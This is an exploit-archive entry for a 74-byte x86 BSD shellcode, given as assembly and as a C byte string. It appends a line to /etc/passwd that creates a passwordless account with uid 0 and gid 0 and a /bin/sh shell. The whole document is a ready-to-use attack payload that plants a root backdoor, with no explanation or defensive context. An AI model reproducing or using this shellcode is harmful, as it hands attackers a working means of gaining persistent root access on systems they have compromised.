BSD/x86 - Write to /etc/passwd with uid(0) + gid(0) Shellcode (74 bytes)

/*************************************************************
writes the line for user in /etc/passwd with uid&gid == 0 
OS: *BSD
length: 74
    written by dev0id [email protected] (rootteam.void.ru)
              #rus-sec /Efnet.org
greetz:
    mig
    nerf
     
*************************************************************
BITS 32
main:
    xor eax,eax
    push    eax
    push byte 0x64
    push word 0x7773
    push long 0x7361702f
    push long 0x6374652f
    mov ebx,esp
    mov al,0x0a
    push    eax
    push    ebx
    mov al,5
    push    eax
    int 0x80
     
 
    mov edx,eax
 
    push long 0x0a206873
    push long 0x2f6e6962
    push long 0x2f3a2f3a
    push long 0x313a303a
    push long 0x303a3a31
    mov ebx,esp
    mov al,20
    push    eax
    push    ebx
    push    edx
    mov al,4
    push    eax
    int 0x80
 
    mov al,1
    push    eax
    int 0x80
 
*************************************************************
 
 
 
char shellcode[] =
    "\x31\xc0\x50\x6a\x64\x66\x68\x73\x77\x68\x2f\x70\x61\x73\x68"
    "\x2f\x65\x74\x63\x89\xe3\xb0\x0a\x50\x53\xb0\x05\x50\xcd\x80"
    "\x89\xc2\x68\x73\x68\x20\x0a\x68\x62\x69\x6e\x2f\x68\x3a\x2f"
    "\x3a\x2f\x68\x3a\x30\x3a\x31\x68\x31\x3a\x3a\x30\x89\xe3\xb0"
    "\x14\x50\x53\x52\xb0\x04\x50\xcd\x80\xb0\x01\x50\xcd\x80";